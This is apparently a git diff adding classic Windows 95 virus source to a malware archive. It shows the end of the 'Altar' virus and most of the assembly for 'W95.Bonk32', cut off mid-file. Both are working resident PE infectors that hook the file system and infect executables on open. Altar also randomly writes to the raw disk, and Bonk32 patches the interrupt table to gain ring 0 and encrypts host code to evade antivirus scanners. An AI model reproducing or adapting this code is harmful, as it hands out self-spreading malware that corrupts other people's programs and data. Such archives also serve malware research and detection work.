POP EAX
|
||||
|
||||
POPAD
|
||||
POPFD
|
||||
|
||||
RET ; RETurn to our host.
|
||||
|
||||
|
||||
Copyright DB '[Altar] by T-2000 / Immortal Riot', 0
|
||||
|
||||
|
||||
VxD_Ring0_FileIO:
|
||||
|
||||
INT 20h
|
||||
DW Ring0_FileIO
|
||||
DW IFSMgr
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Ring0_Installation:
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
MOV EAX, DR2 ; Get DR2 in EAX.
|
||||
|
||||
CMP AL, 'T' ; We're already resident?
|
||||
JE Exit_R0_Inst
|
||||
|
||||
LEA EDI, [EBP+(VxD_Ring0_FileIO-START)]
|
||||
|
||||
MOV AX, 20CDh
|
||||
STOSW
|
||||
|
||||
MOV [EDI], 00400032h
|
||||
|
||||
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX
|
||||
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX
|
||||
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX
|
||||
|
||||
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh
|
||||
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h
|
||||
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h
|
||||
|
||||
PUSH Virus_Size_Mem ; Allocate memory from the
|
||||
INT 20h ; global heap.
|
||||
DW GetHeap
|
||||
DW IFSMgr
|
||||
VxD_Call_1 = $-6
|
||||
POP ECX
|
||||
|
||||
OR EAX, EAX ; Error occurred?
|
||||
JZ Exit_R0_Inst
|
||||
|
||||
MOV ESI, EBP ; Copy us to VxD-memory.
|
||||
MOV EDI, EAX
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV [EAX+(Busy_Switch-START)], ECX
|
||||
|
||||
ADD EAX, (Ring0_Hook-START)
|
||||
|
||||
PUSH EAX ; Insert our file-hook.
|
||||
INT 20h
|
||||
DW InstallFileSystemAPIhook
|
||||
DW IFSMgr
|
||||
VxD_Call_2 = $-6
|
||||
POP EBX
|
||||
|
||||
XCHG ECX, EAX ; Error?
|
||||
JECXZ Exit_R0_Inst
|
||||
|
||||
MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX
|
||||
|
||||
MOV AL, 'T' ; Mark us as resident.
|
||||
MOV DR2, EAX
|
||||
|
||||
Exit_R0_Inst: POPAD
|
||||
POPFD
|
||||
|
||||
IRETD ; Back to our ring-3 part.
|
||||
|
||||
|
||||
Ring0_Hook:
|
||||
JMP $+666h
|
||||
Busy_Switch = DWORD PTR $-4
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta
|
||||
|
||||
MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4
|
||||
|
||||
CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN
|
||||
JNE Exit_Infect
|
||||
|
||||
CALL Get_Random
|
||||
|
||||
CMP DL, 5
|
||||
JA Obtain_Name
|
||||
|
||||
CALL Get_Random
|
||||
|
||||
MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK
|
||||
INC ECX
|
||||
LEA ESI, [EBP+(Copyright-START)]
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure.
|
||||
|
||||
MOV ESI, [EBX+(3*4)] ; Unicode-path.
|
||||
|
||||
CLD
|
||||
LODSD
|
||||
|
||||
PUSH DWORD PTR [ESP+(9*4)+(5*4)]
|
||||
PUSH 259
|
||||
PUSH ESI
|
||||
LEA ESI, [EBP+(ANSI_Target-START)]
|
||||
PUSH ESI
|
||||
INT 20h
|
||||
DW UniToBCSPath
|
||||
DW IFSMgr
|
||||
VxD_Call_3 = $-6
|
||||
|
||||
ADD ESP, (4*4) ; Fix stack.
|
||||
|
||||
OR EDX, EDX ; No problems during the
|
||||
JNZ Exit_Infect ; conversion?
|
||||
|
||||
MOV [ESI+EAX], DL
|
||||
|
||||
CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file?
|
||||
JNE Exit_Infect
|
||||
|
||||
XOR EAX, EAX ; R0_OPENCREATFILE
|
||||
MOV AH, 0D5h
|
||||
PUSH 02h
|
||||
POP EBX
|
||||
INC EDX
|
||||
CALL VxD_Ring0_FileIO
|
||||
JC Exit_Infect
|
||||
|
||||
XCHG EBX, EAX ; Save filehandle in EBX.
|
||||
|
||||
XOR EAX, EAX ; R0_GETFILESIZE
|
||||
MOV AH, 0D8h
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
CMP EAX, 4096 ; Avoid infecting files which
|
||||
JC_Close_File: JB Close_File ; are too small.
|
||||
|
||||
MOV [EBP+(Victim_Size-START)], EAX
|
||||
|
||||
LEA EDI, [EBP+(Header-START)]
|
||||
|
||||
; Read-in the DOS MZ-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 40h
|
||||
POP ECX
|
||||
XOR EDX, EDX
|
||||
MOV ESI, EDI
|
||||
CALL VxD_Ring0_FileIO
|
||||
JC JC_Close_File
|
||||
|
||||
CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file?
|
||||
JNE Close_File
|
||||
|
||||
MOV EDX, [EDI+3Ch] ; Pointer to PE-header.
|
||||
|
||||
MOV [EBP+(PE_Header_Offs-START)], EDX
|
||||
|
||||
; Read-in PE-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 92
|
||||
POP ECX
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header.
|
||||
JNE Close_File
|
||||
|
||||
CMP [EDI.PE_Checksum], -666h ; Avoid infected
|
||||
JE Close_File ; files.
|
||||
|
||||
MOVZX EAX, [EDI.Object_Count]
|
||||
DEC EAX
|
||||
PUSH 40
|
||||
POP ECX
|
||||
MUL ECX
|
||||
|
||||
MOVZX DX, [EDI.NT_Header_Size]
|
||||
|
||||
LEA EDX, [EDX+24+EAX]
|
||||
|
||||
ADD EDX, [EBP+(PE_Header_Offs-START)]
|
||||
|
||||
MOV [EBP+(Last_Obj_Offset-START)], EDX
|
||||
|
||||
; Read-in the last object-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 40
|
||||
POP ECX
|
||||
LEA ESI, [EBP+(Last_Obj_Table-START)]
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
MOV EAX, [ESI.Section_Physical_Size]
|
||||
|
||||
CMP EAX, [ESI.Section_Virtual_Size]
|
||||
JBE Check_Size
|
||||
|
||||
MOV EAX, [ESI.Section_Virtual_Size]
|
||||
|
||||
Check_Size: PUSH EAX
|
||||
|
||||
MOV ECX, Virus_Size
|
||||
|
||||
ADD EAX, ECX
|
||||
ADD EAX, [ESI.Section_Physical_Offset]
|
||||
|
||||
CMP EAX, 12345678h ; File increases in size?
|
||||
Victim_Size = DWORD PTR $-4
|
||||
|
||||
POP EAX
|
||||
|
||||
JA Close_File ; Then abort the infect.
|
||||
|
||||
PUSH EAX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
ADD EAX, ECX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
MOV ECX, [EDI.File_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
CMP [ESI.Section_Physical_Size], EAX
|
||||
JNB Calc_New_Virt
|
||||
|
||||
MOV [ESI.Section_Physical_Size], EAX
|
||||
|
||||
Calc_New_Virt: POP EAX
|
||||
MOV ECX, [EDI.Object_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
CMP [ESI.Section_Virtual_Size], EAX
|
||||
JNB Set_New_EIP
|
||||
|
||||
ADD [EDI.Image_Size], EAX
|
||||
|
||||
XCHG [ESI.Section_Virtual_Size], EAX
|
||||
|
||||
SUB [EDI.Image_Size], EAX
|
||||
|
||||
Set_New_EIP: POP EAX
|
||||
|
||||
ADD EAX, [ESI.Section_RVA]
|
||||
|
||||
MOV [EBP+(Virus_RVA-START)], EAX
|
||||
|
||||
XCHG [EDI.EIP_RVA], EAX
|
||||
|
||||
MOV [EBP+(Host_EIP-START)], EAX
|
||||
|
||||
; Write updated object-header back to disk.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
PUSH 40
|
||||
POP ECX
|
||||
MOV EDX, 12345678h
|
||||
Last_Obj_Offset = DWORD PTR $-4
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
POP EDX
|
||||
|
||||
; Insert virus-body into our victim.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
MOV ECX, Virus_Size
|
||||
ADD EDX, [ESI.Section_Physical_Offset]
|
||||
MOV ESI, EBP
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
; Mark file as infected.
|
||||
|
||||
MOV [EDI.PE_Checksum], -666h
|
||||
|
||||
; Write updated PE-header back to disk.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
PUSH 92
|
||||
POP ECX
|
||||
MOV EDX, 12345678h
|
||||
PE_Header_Offs = DWORD PTR $-4
|
||||
MOV ESI, EDI
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
; Close the file.
|
||||
|
||||
Close_File: XOR EAX, EAX ; R0_CLOSEFILE
|
||||
MOV AH, 0D7h
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
Exit_Infect: XOR EAX, EAX ; Reset busy-flag.
|
||||
|
||||
MOV [EBP+(Busy_Switch-START)], EAX
|
||||
|
||||
POPAD
|
||||
POPFD
|
||||
|
||||
JMP_Prev_Hook: JMP DS:[12345678h]
|
||||
Prev_Handler = DWORD PTR $-4
|
||||
|
||||
|
||||
DB 'Awaiting the sacrifice...', 0
|
||||
|
||||
|
||||
Align_EAX:
|
||||
XOR EDX, EDX
|
||||
DIV ECX
|
||||
|
||||
OR EDX, EDX
|
||||
JZ Calc_Aligned
|
||||
|
||||
INC EAX
|
||||
|
||||
Calc_Aligned: MUL ECX
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Get_Delta:
|
||||
CALL Get_EIP
|
||||
Get_EIP: POP EBP
|
||||
SUB EBP, (Get_EIP-START)
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Get_Random:
|
||||
IN EAX, 40h
|
||||
ADD EDX, EAX
|
||||
|
||||
Randomize: IN EAX, 40h
|
||||
XCHG AH, AL
|
||||
|
||||
ADD EAX, 0DEADBEEFh
|
||||
|
||||
RCL EDX, 3
|
||||
|
||||
XOR EDX, EAX
|
||||
|
||||
LOOP Randomize
|
||||
|
||||
RET
|
||||
|
||||
Virus_End:
|
||||
|
||||
ANSI_Target DB 260 DUP(0)
|
||||
|
||||
Header DB 92 DUP(0)
|
||||
|
||||
Last_Obj_Table DB 40 DUP(0)
|
||||
|
||||
End_Virus_Mem:
|
||||
|
||||
|
||||
Carrier:
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
|
||||
|
||||
|
||||
; The good old MZ-header...
|
||||
|
||||
MZ_Header STRUC
|
||||
MZ_Mark DW 0
|
||||
MZ_Image_Mod_512 DW 0
|
||||
MZ_Image_512_Pages DW 0
|
||||
MZ_Reloc_Items DW 0
|
||||
MZ_Header_Size_Mem DW 0
|
||||
MZ_Min_Size_Mem DW 0
|
||||
MZ_Max_Size_Mem DW 0
|
||||
MZ_Program_SS DW 0
|
||||
MZ_Program_SP DW 0
|
||||
MZ_Checksum DW 0
|
||||
MZ_Program_IP DW 0
|
||||
MZ_Program_CS DW 0
|
||||
MZ_Reloc_Table DW 0
|
||||
MZ_Header ENDS
|
||||
|
||||
|
||||
PE_Header STRUC
|
||||
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
||||
CPU_Type DW 0 ; Minimal CPU required.
|
||||
Object_Count DW 0 ; Number of sections in PE.
|
||||
DD 0
|
||||
Reserved_1 DD 0
|
||||
DD 0
|
||||
NT_Header_Size DW 0
|
||||
PE_Flags DW 0
|
||||
DD 4 DUP(0)
|
||||
EIP_RVA DD 0
|
||||
DD 2 DUP(0)
|
||||
Image_Base DD 0
|
||||
Object_Align DD 0
|
||||
File_Align DD 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
PE_Reserved_5 DD 0
|
||||
Image_Size DD 0
|
||||
Headers_Size DD 0
|
||||
PE_Checksum DD 0
|
||||
DW 0
|
||||
DLL_Flags DW 0
|
||||
PE_Header ENDS
|
||||
|
||||
|
||||
Section_Header STRUC
|
||||
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
|
||||
Section_Virtual_Size DD 0 ; Memory-size of section.
|
||||
Section_RVA DD 0 ; Start section in memory.
|
||||
Section_Physical_Size DD 0 ; Section-size in file.
|
||||
Section_Physical_Offset DD 0 ; Section file-offset.
|
||||
Section_Reserved_1 DD 0 ; Not used for executables.
|
||||
Section_Reserved_2 DD 0 ; Not used for executables.
|
||||
Section_Reserved_3 DD 0 ; Not used for executables.
|
||||
Section_Flags DD 0 ; Flags of the section.
|
||||
Section_Header ENDS
|
||||
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
|
3247
LegacyWindows/Win95.Babylonia.11036.asm
Normal file
3247
LegacyWindows/Win95.Babylonia.11036.asm
Normal file
File diff suppressed because it is too large
Load Diff
556
LegacyWindows/Win95.Bonk32.asm
Normal file
556
LegacyWindows/Win95.Bonk32.asm
Normal file
@ -0,0 +1,556 @@
|
||||
;[W95.BONK32] Resident PE infector
|
||||
;Copyright 1998 (c) Vecna
|
||||
;
|
||||
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
|
||||
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
|
||||
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
|
||||
;to point code into the virus, and execute this interrupt. As the code is
|
||||
;executed in ring0, the virus alloc memory and read from the host file the
|
||||
;rest of the virus code. It then jump to this virus part, that hook IFS and
|
||||
;restore the host.
|
||||
;
|
||||
;Always a EXE file is open, the virus handler take control, and infect it.
|
||||
;The virus body is appended as a overlay to the end of host, without any
|
||||
;physical link to host, and a small loader is stored into the free space of
|
||||
;the PE header.
|
||||
;
|
||||
;If the host file dont have relocationz, the virus encript the original
|
||||
;entrypoint and patch it with a jump to the virus loader. The key for the code
|
||||
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
|
||||
;virus restore it, it must try all keyz, what can be time costly for AVerz.
|
||||
;
|
||||
;As the original entrypoint dont change, and the virus code isnt linked to
|
||||
;host, beside the loader, this work as a anti-heuristic feature.
|
||||
;
|
||||
;Early versionz haved a bug, that cause a crash in everybody machine beside
|
||||
;mine. This was because a non-fixed call to int 0x20. Some lines added and
|
||||
;now it work fine.
|
||||
;
|
||||
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
|
||||
;viral needz, as provide more control over the generated code . To compile
|
||||
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
|
||||
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
|
||||
;then debug it using SOFT-ICE till u get the point that the virus open host
|
||||
;at this point, change esi to point to a unused area (ECX hold one), then
|
||||
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
|
||||
;end. Then make the virus go(BC *;G).
|
||||
;
|
||||
;Or, better, run the pre-compiled file. It will execute and stay resident.
|
||||
;All open files will be infected then. Remeber that the pre-compiled file
|
||||
;must reside in root dir of C:, else it will crash.
|
||||
;
|
||||
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
|
||||
;gimme the EIP of the fault and make possible to me fix it.
|
||||
|
||||
[bits 32]
|
||||
[section .text]
|
||||
[global _main]
|
||||
|
||||
%define true 1
|
||||
%define false 0
|
||||
|
||||
%define debug false
|
||||
%define userda true
|
||||
|
||||
%define buffer bname + 0x100
|
||||
%define buffer2 buffer + 0x1000
|
||||
|
||||
%macro vxdcall 2
|
||||
int 0x20
|
||||
dw %2
|
||||
dw %1
|
||||
%endmacro
|
||||
|
||||
hook:
|
||||
enter 0x20, 0x00 ;setup stack frame
|
||||
push ecx
|
||||
push ebx
|
||||
call .delta
|
||||
.delta:
|
||||
pop ebx
|
||||
sub ebx, .delta
|
||||
cmp dword [ebp+0x0C], byte 0x24
|
||||
jne .noopen ;only hookz ifs_opne
|
||||
cmp byte [ebx+recurse], byte 0x00
|
||||
jne .noopen ;no re-enter
|
||||
inc byte [ebx+recurse]
|
||||
pushad
|
||||
call dynacall ;fix dynamic int20 calls
|
||||
call uni2ansi
|
||||
call infect ;replicate
|
||||
popad
|
||||
dec byte [ebx+recurse]
|
||||
.noopen:
|
||||
mov ecx, 0x06 ;total=6 paramz
|
||||
mov ebx, 0x1C
|
||||
.nparam:
|
||||
mov eax, [ebp+ebx] ;copy paramz from old frame
|
||||
push eax ;to new frame
|
||||
sub ebx, 4
|
||||
loop .nparam
|
||||
db 0xb8
|
||||
oldhook dd 0
|
||||
call [eax] ;call old hookz
|
||||
add esp, byte 0x18
|
||||
pop ebx
|
||||
pop ecx
|
||||
leave
|
||||
ret
|
||||
|
||||
db '[BONK32] by Vecna/29A', 0x00
|
||||
|
||||
dynacall:
|
||||
pushad
|
||||
cld
|
||||
mov ax, 0x20CD
|
||||
call .odynatable
|
||||
.dynatable:
|
||||
dw 0x67, 0x40
|
||||
dw 0x32, 0x40
|
||||
dw 0x0D, 0x40 ;function, vxd
|
||||
dw 0x41, 0x40
|
||||
dw 0x32, 0x40
|
||||
.odynatable:
|
||||
pop esi
|
||||
mov edi, esi
|
||||
add edi, fix1-.dynatable
|
||||
stosw ;make vxd calls to dynamic
|
||||
movsd ;int20 code
|
||||
add edi, IFS-fix1-6
|
||||
stosw
|
||||
movsd
|
||||
add edi, byte fix3-IFS-6
|
||||
stosw
|
||||
movsd
|
||||
add edi, fix4-fix3-6 ;make all fixes
|
||||
stosw
|
||||
movsd
|
||||
popad
|
||||
ret
|
||||
|
||||
uni2ansi:
|
||||
pushad
|
||||
lea edi, [ebx+bname]
|
||||
mov eax, [ebp+0x10]
|
||||
cmp al, -1
|
||||
jz .drive
|
||||
add al, '@' ;make number2letter
|
||||
stosb
|
||||
mov al, ':'
|
||||
stosb
|
||||
.drive:
|
||||
sub eax, eax
|
||||
push eax
|
||||
mov eax, 0x100
|
||||
push eax
|
||||
mov eax, [ebp+0x1C]
|
||||
mov eax, [eax+0x0C]
|
||||
add eax, byte 0x04
|
||||
push eax
|
||||
push edi
|
||||
fix4:
|
||||
vxdcall 0x40, 0x41 ;make unicode2ansi
|
||||
add esp, byte 0x10
|
||||
add edi, eax
|
||||
sub eax, eax
|
||||
stosb
|
||||
popad
|
||||
ret
|
||||
|
||||
infect:
|
||||
lea edi, [ebx+bname]
|
||||
mov ebp, edi
|
||||
mov ecx, 0x100
|
||||
sub eax, eax
|
||||
cld
|
||||
repne scasb ;end of name
|
||||
or ecx, ecx
|
||||
jz near error
|
||||
cmp dword [edi-0x05], '.EXE'
|
||||
jne near error ;only infect exe files
|
||||
%if debug == true
|
||||
cmp dword [edi-0x09], 'BAIT'
|
||||
jne near error ;debug code
|
||||
%endif
|
||||
mov eax, 0xD500
|
||||
sub ecx, ecx
|
||||
mov edx, ecx
|
||||
inc edx
|
||||
mov ebx, edx
|
||||
inc ebx
|
||||
mov esi, ebp
|
||||
call IFS ;open it
|
||||
jc near error
|
||||
call .delta
|
||||
.delta:
|
||||
pop ebp
|
||||
sub ebp, .delta ;ebp hold delta offset
|
||||
mov ebx, eax
|
||||
mov eax, 0xD600
|
||||
sub edx, edx
|
||||
mov ecx, 0x1000
|
||||
lea esi, [ebp+buffer]
|
||||
call IFS ;read pe headerz
|
||||
jc near errorclose
|
||||
mov ax, word [esi]
|
||||
add al, ah
|
||||
cmp al, 0xA7
|
||||
jne near errorclose ;not exe
|
||||
mov edi, [esi+0x3C]
|
||||
mov [ebp+mz_size], edi
|
||||
cmp edi, 0xE00
|
||||
ja near errorclose ;buffer overflow
|
||||
add edi, esi
|
||||
cmp dword [edi], 'PE'
|
||||
jne near errorclose ;not pe newexe
|
||||
mov eax, 'BONK'
|
||||
cmp [edi+88], eax
|
||||
mov [edi+88], eax
|
||||
jz near errorclose ;already infected
|
||||
cmp word [edi+4], 0x014C ;run in a 386?
|
||||
jnz near errorclose
|
||||
bt word [edi+22], 1 ;executable?
|
||||
jnc near errorclose
|
||||
bt word [edi+22], 0x0D ;dll?
|
||||
jc near errorclose
|
||||
mov eax, [edi+40]
|
||||
add eax, [edi+52] ;mementry==imagebase+entrypont
|
||||
mov [ebp+loader.entrypoint], eax
|
||||
movzx eax, word [edi+6]
|
||||
imul eax, eax, 40
|
||||
movzx ecx, word [edi+20] ;sum size of all headerz
|
||||
add eax, ecx
|
||||
add eax, 24
|
||||
mov ecx, eax
|
||||
add eax, edi
|
||||
add ecx, lsize
|
||||
cmp dword [edi+84], ecx ;total size of headerz
|
||||
jc near errorclose ;enought to loader?
|
||||
push eax
|
||||
push edi
|
||||
mov edi, eax
|
||||
mov ecx, lsize
|
||||
lea esi, [ebp+loader]
|
||||
rep movsb ;copy loader to pe header
|
||||
lea esi, [ebp+bname]
|
||||
.nextbyte:
|
||||
lodsb
|
||||
stosb
|
||||
test al, al
|
||||
jnz .nextbyte ;copy host name
|
||||
pop edi
|
||||
pop eax
|
||||
sub eax, edi
|
||||
cmp [edi+160], ecx
|
||||
jne near .relocs
|
||||
cmp [edi+164], ecx
|
||||
jne near .relocs ;shit, relocz present
|
||||
%if userda == true
|
||||
push ebx
|
||||
mov dword [ebp+jmpentry], eax ;signal rda used
|
||||
movzx ecx, word [edi+20]
|
||||
add ecx, edi
|
||||
add ecx, 24-0x28
|
||||
.next:
|
||||
add ecx, 0x28
|
||||
mov edx, [edi+40]
|
||||
sub edx, [ecx+12] ;is EIP pointing inside
|
||||
cmp edx, [ecx+8] ;this section?
|
||||
jnb .next
|
||||
or dword [ecx+36], 80000000h ;make section writeable
|
||||
add edx, [ecx+20] ;edx point physical entrypoint
|
||||
push edx
|
||||
push eax ;save virus entry
|
||||
mov eax, 0xD600
|
||||
mov ecx, 0x100
|
||||
lea esi, [ebp+buffer2] ;esi point entrycode
|
||||
call IFS ;read entry code
|
||||
push esi
|
||||
push edi
|
||||
push esi
|
||||
mov eax, 0x100
|
||||
push eax
|
||||
push esi
|
||||
push eax
|
||||
call crc32 ;calc crc32 of 100h bytes
|
||||
mov [ebp+rdacrc32], eax
|
||||
pop ecx
|
||||
pop esi
|
||||
pop edi
|
||||
in al, 0x40
|
||||
.rdaloop:
|
||||
xor byte [esi], al ;encript crc32ed code
|
||||
inc esi
|
||||
loop .rdaloop
|
||||
pop esi
|
||||
push edi
|
||||
lea edi, [ebp+hostcode]
|
||||
movsd
|
||||
movsb ;save entrycode
|
||||
pop edi
|
||||
xchg esi, edi ;edi point to entrycode
|
||||
sub edi, byte 5
|
||||
mov al, 0xE9 ;esi point to pe header
|
||||
stosb
|
||||
pop edx
|
||||
sub edx, [esi+40]
|
||||
mov eax, edx
|
||||
sub eax, 5
|
||||
add eax, dword [ebp+mz_size]
|
||||
stosd ;store displacement
|
||||
mov edi, esi
|
||||
pop edx
|
||||
mov eax, 0xD601
|
||||
mov ecx, 0x100
|
||||
lea esi, [ebp+buffer2]
|
||||
pop ebx
|
||||
call IFS ;write pe headerz
|
||||
jmp .norelocs
|
||||
%endif
|
||||
.relocs:
|
||||
mov dword [ebp+jmpentry], ecx ;flag as normal file
|
||||
add eax, dword [ebp+mz_size]
|
||||
mov [edi+40], eax ;set new entrypoint
|
||||
.norelocs:
|
||||
mov eax, 0xD601
|
||||
sub edx, edx
|
||||
mov ecx, dword [edi+84]
|
||||
lea esi, [ebp+buffer]
|
||||
call IFS ;write pe headerz
|
||||
mov eax, 0xD800
|
||||
call IFS ;get filesize
|
||||
mov edx, 0xD601
|
||||
xchg eax, edx
|
||||
mov ecx, vsize
|
||||
mov esi, ebp
|
||||
call IFS ;write overlay code
|
||||
errorclose:
|
||||
mov eax, 0xD700
|
||||
call IFS ;close file
|
||||
error:
|
||||
ret
|
||||
|
||||
rdacrc32 dd 0
|
||||
jmpentry dd 0
|
||||
hostcode dd 0
|
||||
db 0
|
||||
recurse db 0
|
||||
mz_size dd 0
|
||||
|
||||
install:
|
||||
sub edx, edx
|
||||
sub esi, install ;esi point to start of vcode
|
||||
push esi
|
||||
mov dword [esi+recurse], edx
|
||||
mov eax, 0xD700
|
||||
call IFS ;close file
|
||||
or ebp, ebp
|
||||
jns skip
|
||||
fix1:
|
||||
vxdcall 0x40, 0x67 ;hook ifs
|
||||
skip:
|
||||
pop ecx
|
||||
mov [esi+oldhook], eax
|
||||
.restore:
|
||||
%if userda == true
|
||||
cmp dword [esi+jmpentry], byte 0x0
|
||||
jz .norda ;was rda used?
|
||||
push esi
|
||||
mov edi, [esi+loader.entrypoint]
|
||||
lea esi, [esi+hostcode]
|
||||
movsd
|
||||
movsb ;restore init code
|
||||
pop esi
|
||||
push dword 0x100
|
||||
push dword [esi+rdacrc32]
|
||||
push dword [esi+loader.entrypoint]
|
||||
call rda ;rda decript host
|
||||
.norda:
|
||||
%endif
|
||||
ret
|
||||
|
||||
%if userda == true
|
||||
crc32_pbfr equ +0x0C
|
||||
crc32_sz equ +0x08
|
||||
crc32_ret@ equ +0x04
|
||||
crc32_ebp@ equ +0x00
|
||||
|
||||
crc32:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
mov esi, [ebp+crc32_pbfr]
|
||||
mov edi, [ebp+crc32_sz] ;setup regz
|
||||
push byte -1
|
||||
pop ecx ;init crc32
|
||||
mov edx, ecx
|
||||
.aa:
|
||||
sub eax, eax
|
||||
mov ebx, eax
|
||||
lodsb ;get byte
|
||||
xor al, cl
|
||||
mov cl, ch
|
||||
mov ch, dl
|
||||
mov dl, dh
|
||||
mov dh, 8
|
||||
.ab:
|
||||
shr bx, 1
|
||||
rcr ax, 1
|
||||
jnc .ac
|
||||
xor ax, 0x08320 ;logarithm
|
||||
xor bx, 0x0edb8
|
||||
.ac:
|
||||
dec dh
|
||||
jnz .ab
|
||||
xor ecx, eax
|
||||
xor edx, ebx
|
||||
dec edi
|
||||
jnz .aa ;next byte
|
||||
not edx
|
||||
not ecx
|
||||
shl ecx, 16 ;cx:dx to ecx
|
||||
mov cx, dx
|
||||
mov eax, ecx
|
||||
pop ebp
|
||||
ret 8
|
||||
%endif
|
||||
|
||||
_main
|
||||
|
||||
loader:
|
||||
pushad
|
||||
call .seh
|
||||
mov esp, [esp+8]
|
||||
jmp .removeseh
|
||||
.seh:
|
||||
sub edx, edx
|
||||
fs push dword [edx]
|
||||
fs mov dword [edx], esp ;seh frame set
|
||||
call .delta
|
||||
.delta:
|
||||
pop eax
|
||||
sub eax, .delta
|
||||
push eax
|
||||
sidt [esp-2] ;get idt to ebx
|
||||
pop ebx
|
||||
cli
|
||||
mov ebp, [ebx+0x4+(0x5*0x8)]
|
||||
mov bp, [ebx+(0x5*0x8)]
|
||||
lea ecx, [eax+ring0] ;new int5 handler
|
||||
mov [ebx+(0x5*0x8)], cx
|
||||
bswap ecx
|
||||
xchg cl, ch
|
||||
mov [ebx+0x6+(0x5*0x8)], cx
|
||||
push ds
|
||||
push es
|
||||
int 0x5 ;jump to ring0
|
||||
pop es
|
||||
pop ds
|
||||
.removeseh:
|
||||
sti
|
||||
sub eax, eax
|
||||
fs pop dword [eax] ;remove seh frame
|
||||
pop eax
|
||||
popad
|
||||
db 0x68 ;return to host
|
||||
.entrypoint dd 0
|
||||
pop ecx
|
||||
jecxz .ret
|
||||
push ecx
|
||||
.ret:
|
||||
ret
|
||||
|
||||
IFS:
|
||||
vxdcall 0x40, 0x32 ;just one place to fix
|
||||
ret
|
||||
|
||||
ring0:
|
||||
cld
|
||||
push ss
|
||||
pop ds
|
||||
mov edi, [eax+IFS]
|
||||
mov ax, 0x20CD ;these linez fix the previous
|
||||
stosw ;bug, found by AVz
|
||||
mov ax, 0x32
|
||||
stosw
|
||||
mov ax, 0x40
|
||||
stosw
|
||||
lea ecx, [eax+bname]
|
||||
lea esi, [eax+name]
|
||||
mov eax, 0xD500 ;openfile
|
||||
sub ecx, ecx
|
||||
mov edx, ecx
|
||||
mov ebx, ecx
|
||||
inc edx
|
||||
call IFS
|
||||
jnc .skip
|
||||
iret ;cant open host
|
||||
.skip:
|
||||
push eax
|
||||
push dword 8192
|
||||
fix3:
|
||||
vxdcall 0x40, 0x0D ;vmm alloc
|
||||
pop ecx
|
||||
mov esi, eax
|
||||
pop ebx
|
||||
jc .error
|
||||
mov eax, 0xD800 ;get filesize
|
||||
call IFS
|
||||
mov ecx, vsize
|
||||
sub eax, ecx
|
||||
mov edx, 0xD600 ;read overlay
|
||||
xchg eax, edx
|
||||
call IFS
|
||||
add esi, install-hook
|
||||
call esi ;call it!
|
||||
.error:
|
||||
iret
|
||||
|
||||
lsize equ ($-loader)
|
||||
|
||||
name equ $
|
||||
|
||||
%if userda == true
|
||||
rda_sz equ +16
|
||||
rda_crc equ +12
|
||||
rda_pbfr equ +08
|
||||
rda_ret@ equ +04
|
||||
rda_ebp@ equ +00
|
||||
rda_pass equ -04
|
||||
rda_key equ -08
|
||||
|
||||
rda:
|
||||
enter 8, 0 ;2 dwords as local var
|
||||
sub eax, eax
|
||||
mov [ebp+rda_pass], eax
|
||||
mov [ebp+rda_key], eax ;setup rda
|
||||
.setup:
|
||||
mov esi, [ebp+rda_pbfr]
|
||||
